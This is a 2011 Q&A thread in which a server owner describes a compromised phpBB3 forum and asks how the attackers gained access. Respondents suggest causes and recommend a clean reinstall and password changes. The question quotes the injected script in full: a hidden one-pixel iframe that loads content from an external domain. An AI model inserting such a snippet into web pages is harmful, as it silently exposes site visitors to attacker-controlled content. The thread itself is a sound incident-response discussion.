1

Possible Duplicates:
My server's been hacked EMERGENCY
Did My Server Get Attacked?

My Apache server has been attacked and the PHPbb3 forum installed has several files which were modified to display an iFrame. The attack inserted a php variable and value which then decodes to javascript which commands the client to load an iFrame with external content. Also my HEADER.html (header for apache directory browsing) file was modified and potential others.

The variable name used in the injected php is "$somecrainsignvar". I found similar attacks online. I understand maybe the forumn software is outdated and a potential security leak or maybe other sections on the server could be potenital leaks however all access to the server is restricted via htpasswd/htaccess, therefore I do not understand how the attackers/bot were able to make any changes or even gain access to the site.

Any help would be greatly appreciated. also attached is the javascript code injected via php.

<script type="text/javascript">document.writeln("<body>");var el = document.createElement("iframe");document.body.appendChild(el);el.id = 'myname';el.name = 'myname';el.style.width = "1px";el.style.height ="1px";el.scrolling="auto";el.frameBorder="0";el.src = "http://farenta.in/gb/us.php";</script>
0

1 Answer 1

2

Are there other sites running on this server? What accounts have permission to write to the webserver files? Is this a dedicated server or is it shared with other users?

There are lots of ways this could have been done, many of which don't involve the website at all. Easily guessed/brute-forced SSH passwords, for instance. Looking at some of the Google results for people people asking about "$somecrainsignvar", it doesn't look specific to phpBB or wordpress, so it's likely that there's an exploit in your webserver itself or in some other service running on the server that allows other people to write to the files directly.

4
  • The one I linked as a possible dupe from yesterday was the same code payload, and was also running phpBB3. Good tips though, +1. Jun 2, 2011 at 18:20
  • There are no other sites running on this server. The server is only used for FTP, data storage, and forum. Is the proper course of action here to update apache and other services? after cleaning of course Jun 2, 2011 at 19:16
  • @user778158 that's pretty much right, the only question is how much "cleaning" are you going to do... a complete wipe and reinstall from known good backups (followed by immediately changing all the passwords) is best. If you don't have backups, then you'll have to very carefully pick through all the files and data and make sure there's nothing left there.
    – DerfK
    Jun 2, 2011 at 20:23
  • Thankyou Everybody. Much appreciated. I found several htaccess files to be created with # exgocgkctswo as a signature I suppose. I found several other people suffered the same problemm. Still unsure how this problem exhisted in first place. I am thinking it might of happened through FTP. Jun 2, 2011 at 21:28

Not the answer you're looking for? Browse other questions tagged .